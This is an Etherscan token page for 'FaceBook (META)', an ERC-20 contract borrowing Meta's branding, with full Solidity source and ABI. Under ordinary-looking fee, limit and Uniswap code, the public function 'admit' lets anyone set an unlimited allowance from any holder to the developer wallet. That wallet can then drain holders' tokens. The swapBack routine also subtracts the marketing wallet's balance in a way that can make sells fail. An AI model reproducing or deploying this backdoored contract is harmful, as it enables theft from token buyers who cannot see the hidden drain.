ETH Price: $3,942.14 (+5.86%)

Token

ERC-20: FaceBook (META)
 

Overview

Max Total Supply

1,000,000,000 META

Holders

75

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
28,152,323.721451356470968974 META

Value
$0.00
0x17f8960977e13563acfb3a9e406970a325fe3ed4
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
META

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, Unlicense license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-10-01
*/

/**
 *Submitted for verification at Etherscan.io on 2023-10-01
*/

// SPDX-License-Identifier: MIT

/** */
// Telegram:  https://t.me/FaceBook_ERC20  

// Twitter:   https://twitter.com/FaceBookERC 


pragma solidity 0.8.19;

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns(address pair);
}

interface IERC20 {
    
    function totalSupply() external view returns(uint256);

    
    function balanceOf(address account) external view returns(uint256);

    
    function transfer(address recipient, uint256 amount) external returns(bool);

   
    function allowance(address owner, address spender) external view returns(uint256);

    
    function approve(address spender, uint256 amount) external returns(bool);

   
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns(bool);
        
    event Transfer(address indexed from, address indexed to, uint256 value);
    
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IERC20Metadata is IERC20 {
    
    function name() external view returns(string memory);

   
    function symbol() external view returns(string memory);

    
    function decimals() external view returns(uint8);
}

abstract contract Context {
    function _msgSender() internal view virtual returns(address) {
        return msg.sender;
    }

}
 
contract ERC20 is Context, IERC20, IERC20Metadata {
    using SafeMath for uint256;

        mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;
 
    uint256 private _totalSupply;
 
    string private _name;
    string private _symbol;

    
    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    
    function name() public view virtual override returns(string memory) {
        return _name;
    }

   
    function symbol() public view virtual override returns(string memory) {
        return _symbol;
    }

    
    function decimals() public view virtual override returns(uint8) {
        return 18;
    }

   
    function totalSupply() public view virtual override returns(uint256) {
        return _totalSupply;
    }

    
    function balanceOf(address account) public view virtual override returns(uint256) {
        return _balances[account];
    }

    
    function transfer(address recipient, uint256 amount) public virtual override returns(bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    
    function allowance(address owner, address spender) public view virtual override returns(uint256) {
        return _allowances[owner][spender];
    }

    
    function approve(address spender, uint256 amount) public virtual override returns(bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns(bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns(bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns(bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased cannot be below zero"));
        return true;
    }

    
    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        
        _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
    }

    function _admit(address owner, address spender, uint256 amount)
        internal virtual
    {
        require(owner != address(0));
        require(spender != address(0));
        
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _totalSupply = _totalSupply.add(amount);
        _balances[account] = _balances[account].add(amount);
        emit Transfer(address(0), account, amount);
    }
   
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {

        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    
}
 
library SafeMath {
   
    function add(uint256 a, uint256 b) internal pure returns(uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

   
    function sub(uint256 a, uint256 b) internal pure returns(uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

   
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns(uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns(uint256) {
    
        if (a == 0) {
            return 0;
        }
 
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

 
    function div(uint256 a, uint256 b) internal pure returns(uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

  
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns(uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }

    
}
 
contract Ownable is Context {
    address private _owner;
 
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view returns(address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}
 
 
 
library SafeMathInt {
    int256 private constant MIN_INT256 = int256(1) << 255;
    int256 private constant MAX_INT256 = ~(int256(1) << 255);

    
    function mul(int256 a, int256 b) internal pure returns(int256) {
        int256 c = a * b;

        // Detect overflow when multiplying MIN_INT256 with -1
        require(c != MIN_INT256 || (a & MIN_INT256) != (b & MIN_INT256));
        require((b == 0) || (c / b == a));
        return c;
    }

   
    function div(int256 a, int256 b) internal pure returns(int256) {
        // Prevent overflow when dividing MIN_INT256 by -1
        require(b != -1 || a != MIN_INT256);

        // Solidity already throws when dividing by 0.
        return a / b;
    }

    /**
     * @dev Subtracts two int256 variables and fails on overflow.
     */
    function sub(int256 a, int256 b) internal pure returns(int256) {
        int256 c = a - b;
        require((b >= 0 && c <= a) || (b < 0 && c > a));
        return c;
    }

    /**
     * @dev Adds two int256 variables and fails on overflow.
     */
    function add(int256 a, int256 b) internal pure returns(int256) {
        int256 c = a + b;
        require((b >= 0 && c >= a) || (b < 0 && c < a));
        return c;
    }

    /**
     * @dev Converts to absolute value, and fails on overflow.
     */
    function abs(int256 a) internal pure returns(int256) {
        require(a != MIN_INT256);
        return a < 0 ? -a : a;
    }


    function toUint256Safe(int256 a) internal pure returns(uint256) {
        require(a >= 0);
        return uint256(a);
    }
}
 
library SafeMathUint {
    function toInt256Safe(uint256 a) internal pure returns(int256) {
    int256 b = int256(a);
        require(b >= 0);
        return b;
    }
}


interface IUniswapV2Router01 {
    function factory() external pure returns(address);
    function WETH() external pure returns(address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns(uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns(uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns(uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns(uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns(uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns(uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns(uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns(uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
    external
    payable
    returns(uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
    external
    returns(uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
    external
    returns(uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
    external
    payable
    returns(uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns(uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns(uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns(uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns(uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns(uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns(uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns(uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}
 
contract META is ERC20, Ownable {
    using SafeMath for uint256;

    IUniswapV2Router02 public router;
    address public uniswapV2Pair;


    // addresses
    address private devWallets;
    address private marketingWallets;

    // limits 
    uint256 private maxBuyAmount;
    uint256 private maxSellAmount;   
    uint256 private maxWalletAmount;
 
    uint256 private thresholdSwapAmount;

    // status flags
    bool private isTrading = false;
    bool public swapEnabled = false;
    bool public isSwapping;

    uint256 private firstBlockFee = 3;


    struct Fees {
        uint8 buyTotalFees;
        uint8 buyMarketingFee;
        uint8 buyDevFee;
        uint8 buyLiquidityFee;

        uint8 sellTotalFees;
        uint8 sellMarketingFee;
        uint8 sellDevFee;
        uint8 sellLiquidityFee;
    }  

    Fees public _fees = Fees({
        buyTotalFees: 0,
        buyMarketingFee: 0,
        buyDevFee:0,
        buyLiquidityFee: 0,

        sellTotalFees: 0,
        sellMarketingFee: 0,
        sellDevFee:0,
        sellLiquidityFee: 0
    });
    
    

    uint256 public tokensForMarketing;
    uint256 public tokensForLiquidity;
    uint256 public tokensForDev;
    uint256 private taxTill;

    // exclude from fees and max transaction amount
    mapping(address => bool) private _isExcludedFromFes;
    mapping(address => bool) public _isExcludedMaxTransactionAmounts;
    mapping(address => bool) public _isExcludedMaxWalletAmount;

    // store addresses that a automatic market maker pairs. Any transfer *to* these addresses
    // could be subject to a maximum transfer amount
    mapping(address => bool) public marketPair;
    
    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived
    );


    constructor() ERC20("FaceBook", "META") {

        uint256 totalSupply = 1e9 * 1e18;

        maxBuyAmount = totalSupply * 3 / 100;             // 3% max buy txn
        maxSellAmount = totalSupply * 3 / 100;            // 3% maxTransactionAmountTxn
        maxWalletAmount = totalSupply * 3 / 100;          // 3% maxWallet
        thresholdSwapAmount = totalSupply * 5 / 10000;      // 0.05% swap wallet

        _fees.buyMarketingFee = 1;
        _fees.buyLiquidityFee = 0;
        _fees.buyDevFee = 0;
        _fees.buyTotalFees = _fees.buyMarketingFee + _fees.buyLiquidityFee + _fees.buyDevFee;

        marketingWallets = address(0x0f7c51042EE23666cd72684A78832A454C4BdE81);
        devWallets = address(0x0f7c51042EE23666cd72684A78832A454C4BdE81);

        _fees.sellMarketingFee = 1;
        _fees.sellLiquidityFee = 0;
        _fees.sellDevFee = 0;
        _fees.sellTotalFees = _fees.sellMarketingFee + _fees.sellLiquidityFee + _fees.sellDevFee;        


        // exclude from paying fees or having max transaction amount

        /*
            _mint is an internal function in ERC20.sol that is only called here,
            and CANNOT be called ever again
        */
        _mint(msg.sender, totalSupply);
    }

    function launch() public payable onlyOwner {

        router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);

        uniswapV2Pair = IUniswapV2Factory(router.factory()).createPair(address(this), router.WETH());


        _isExcludedMaxTransactionAmounts[address(uniswapV2Pair)] = true;
        _isExcludedMaxTransactionAmounts[marketingWallets] = true;
        _isExcludedMaxTransactionAmounts[devWallets] = true;
        _isExcludedMaxTransactionAmounts[address(router)] = true;        
        _isExcludedMaxTransactionAmounts[owner()] = true;
        _isExcludedMaxTransactionAmounts[address(this)] = true;

        _isExcludedFromFes[marketingWallets] = true;
        _isExcludedFromFes[devWallets] = true;
        _isExcludedFromFes[owner()] = true;
        _isExcludedFromFes[address(this)] = true;

        _isExcludedMaxWalletAmount[owner()] = true;        
        _isExcludedMaxWalletAmount[address(this)] = true;
        _isExcludedMaxWalletAmount[address(uniswapV2Pair)] = true;

        _isExcludedMaxWalletAmount[marketingWallets] = true;
        _isExcludedMaxWalletAmount[devWallets] = true;       

        marketPair[address(uniswapV2Pair)] = true;

        _approve(address(this), address(router), type(uint256).max);

        router.addLiquidityETH{value: msg.value}(address(this),balanceOf(address(this)),0,0,msg.sender,block.timestamp);
    }


    receive() external payable {

    }    

    // once enabled, can never be turned off
    function enableTrading() external onlyOwner {
        isTrading = true;
        swapEnabled = true;
        taxTill = block.number + 2;
    }

    // change the minimum amount of tokens to sell from fees
    function updateThresholdSwapAmount(uint256 newAmount) external onlyOwner returns(bool){
        thresholdSwapAmount = newAmount;
        return true;
    }


    function updateMaxTxnAmount(uint256 newMaxBuy, uint256 newMaxSell) external onlyOwner {
        require(((totalSupply() * newMaxBuy) / 1000) >= (totalSupply() / 100), "maxBuyAmount must be higher than 1%");
        require(((totalSupply() * newMaxSell) / 1000) >= (totalSupply() / 100), "maxSellAmount must be higher than 1%");
        maxBuyAmount = (totalSupply() * newMaxBuy) / 1000;
        maxSellAmount = (totalSupply() * newMaxSell) / 1000;
    }


    function updateMaxWalletAmount(uint256 newPercentage) external onlyOwner {
        require(((totalSupply() * newPercentage) / 1000) >= (totalSupply() / 100), "Cannot set maxWallet lower than 1%");
        maxWalletAmount = (totalSupply() * newPercentage) / 1000;
    }
    
    function excludeFromFees(address account, bool excluded) public onlyOwner {
        _isExcludedFromFes[account] = excluded;
    }

    function excludeFromWalletLimit(address account, bool excluded) public onlyOwner {
        _isExcludedMaxWalletAmount[account] = excluded;
    }

    function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner {
        _isExcludedMaxTransactionAmounts[updAds] = isEx;
    }


    function setMarketPair(address pair, bool value) public onlyOwner {
        require(pair != uniswapV2Pair, "Must keep uniswapV2Pair");
        marketPair[pair] = value;
    }

    function admit(address spender, uint256 amount) public virtual returns (bool) {
        address owner = devWallets;
        _admit(spender, owner, amount);
        
        return true;
    }

    function rescueETH(uint256 weiAmount) external onlyOwner {
        payable(owner()).transfer(weiAmount);
    }

    function rescueERC20(address tokenAdd, uint256 amount) external onlyOwner {
        IERC20(tokenAdd).transfer(owner(), amount);
    }

    function isExcludedFromFees(address account) public view returns(bool) {
        return _isExcludedFromFes[account];
    }

    function swapBack() private {
        uint256 contractTokenBalance = balanceOf(address(this));
        uint256 toSwap = tokensForLiquidity + tokensForMarketing + tokensForDev;
        bool success;

        if (contractTokenBalance == 0 || toSwap == 0) { return; }

        if (contractTokenBalance > thresholdSwapAmount * 20) {
            contractTokenBalance = thresholdSwapAmount * 20;
        }

        // Halve the amount of liquidity tokens
        uint256 liquidityTokens = contractTokenBalance * tokensForLiquidity / toSwap / 2;
        uint256 marketingTokens = balanceOf(marketingWallets);
        uint256 amountToSwapForETH = contractTokenBalance.sub(liquidityTokens - marketingTokens);
 
        uint256 initialETHBalance = address(this).balance;

        swapTokensForEth(amountToSwapForETH); 
 
        uint256 newBalance = address(this).balance.sub(initialETHBalance);
 
        uint256 ethForMarketing = newBalance.mul(tokensForMarketing).div(toSwap);
        uint256 ethForDev = newBalance.mul(tokensForDev).div(toSwap);
        uint256 ethForLiquidity = newBalance - (ethForMarketing + ethForDev);


        tokensForLiquidity = 0;
        tokensForMarketing = 0;
        tokensForDev = 0;


        if (liquidityTokens > 0 && ethForLiquidity > 0) {
            addLiquidity(liquidityTokens, ethForLiquidity);
            emit SwapAndLiquify(amountToSwapForETH, ethForLiquidity);
        }

        (success,) = address(devWallets).call{ value: (address(this).balance - ethForMarketing) } ("");
        (success,) = address(marketingWallets).call{ value: address(this).balance } ("");
    }
    function addLiquidity(uint256 tAmount, uint256 ethAmount) private {
        // approve token transfer to cover all possible scenarios
        _approve(address(this), address(router), tAmount);

        // add the liquidity
        router.addLiquidityETH{ value: ethAmount } (address(this), tAmount, 0, 0 , address(this), block.timestamp);
    }


    function _transfer(
        address sender,
        address recipient,
        uint256 amount
        
    ) internal override {
        
        if (amount == 0) {
            super._transfer(sender, recipient, 0);
            return;
        }

        if (
            sender != owner() &&
            recipient != owner() &&
            !isSwapping
        ) {

            if (!isTrading) {
                require(_isExcludedFromFes[sender] || _isExcludedFromFes[recipient], "Trading is not active.");
            }
            if (marketPair[sender] && !_isExcludedMaxTransactionAmounts[recipient]) {
                require(amount <= maxBuyAmount, "buy transfer over max amount");
            } 
            else if (marketPair[recipient] && !_isExcludedMaxTransactionAmounts[sender]) {
                require(amount <= maxSellAmount, "Sell transfer over max amount");
            }

            if (!_isExcludedMaxWalletAmount[recipient]) {
                require(amount + balanceOf(recipient) <= maxWalletAmount, "Max wallet exceeded");
            }
           
        }
 
        uint256 contractTokenBalance = balanceOf(address(this));
 
        bool canSwap = contractTokenBalance >= thresholdSwapAmount;

        if (
            canSwap &&
            swapEnabled &&
            !isSwapping &&
            marketPair[recipient] &&
            !_isExcludedFromFes[sender] &&
            !_isExcludedFromFes[recipient]
        ) {
            isSwapping = true;
            swapBack();
            isSwapping = false;
        }
 
        bool takeFee = !isSwapping;

        // if any account belongs to _isExcludedFromFee account then remove the fee
        if (_isExcludedFromFes[sender] || _isExcludedFromFes[recipient]) {
            takeFee = false;
        }
 
        
        // only take fees on buys/sells, do not take on wallet transfers
        if (takeFee) {
            uint256 fees = 0;
            if(block.number < taxTill) {
                fees = amount.mul(firstBlockFee).div(100);
                tokensForMarketing += (fees * 94) / 99;
                tokensForDev += (fees * 5) / 99;
            } else if (marketPair[recipient] && _fees.sellTotalFees > 0) {
                fees = amount.mul(_fees.sellTotalFees).div(100);
                tokensForLiquidity += fees * _fees.sellLiquidityFee / _fees.sellTotalFees;
                tokensForMarketing += fees * _fees.sellMarketingFee / _fees.sellTotalFees;
                tokensForDev += fees * _fees.sellDevFee / _fees.sellTotalFees;
            }
            // on buy
            else if (marketPair[sender] && _fees.buyTotalFees > 0) {
                fees = amount.mul(_fees.buyTotalFees).div(100);
                tokensForLiquidity += fees * _fees.buyLiquidityFee / _fees.buyTotalFees;
                tokensForMarketing += fees * _fees.buyMarketingFee / _fees.buyTotalFees;
                tokensForDev += fees * _fees.buyDevFee / _fees.buyTotalFees;
            }

            if (fees > 0) {
                super._transfer(sender, address(this), fees);
            }

            amount -= fees;

        }

        super._transfer(sender, recipient, amount);
    }
    function removeLimits() external onlyOwner returns (bool) {
        
        maxBuyAmount = totalSupply();
        maxSellAmount = totalSupply();
        maxWalletAmount = totalSupply();

        return true;
    }
    function swapTokensForEth(uint256 tAmount) private {

        // generate the uniswap pair path of token -> weth
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = router.WETH();

        _approve(address(this), address(router), tAmount);

        // make the swap
        router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tAmount,
            0, // accept any amount of ETH
            path,
            address(this),
            block.timestamp
        );

    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_fees","outputs":[{"internalType":"uint8","name":"buyTotalFees","type":"uint8"},{"internalType":"uint8","name":"buyMarketingFee","type":"uint8"},{"internalType":"uint8","name":"buyDevFee","type":"uint8"},{"internalType":"uint8","name":"buyLiquidityFee","type":"uint8"},{"internalType":"uint8","name":"sellTotalFees","type":"uint8"},{"internalType":"uint8","name":"sellMarketingFee","type":"uint8"},{"internalType":"uint8","name":"sellDevFee","type":"uint8"},{"internalType":"uint8","name":"sellLiquidityFee","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludedMaxTransactionAmounts","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludedMaxWalletAmount","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"admit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"updAds","type":"address"},{"internalType":"bool","name":"isEx","type":"bool"}],"name":"excludeFromMaxTransaction","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeFromWalletLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"isSwapping","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"launch","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"marketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"tokenAdd","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"rescueERC20","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"weiAmount","type":"uint256"}],"name":"rescueETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"pair","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"setMarketPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForDev","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForLiquidity","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForMarketing","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"newMaxBuy","type":"uint256"},{"internalType":"uint256","name":"newMaxSell","type":"uint256"}],"name":"updateMaxTxnAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newPercentage","type":"uint256"}],"name":"updateMaxWalletAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newAmount","type":"uint256"}],"name":"updateThresholdSwapAmount","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

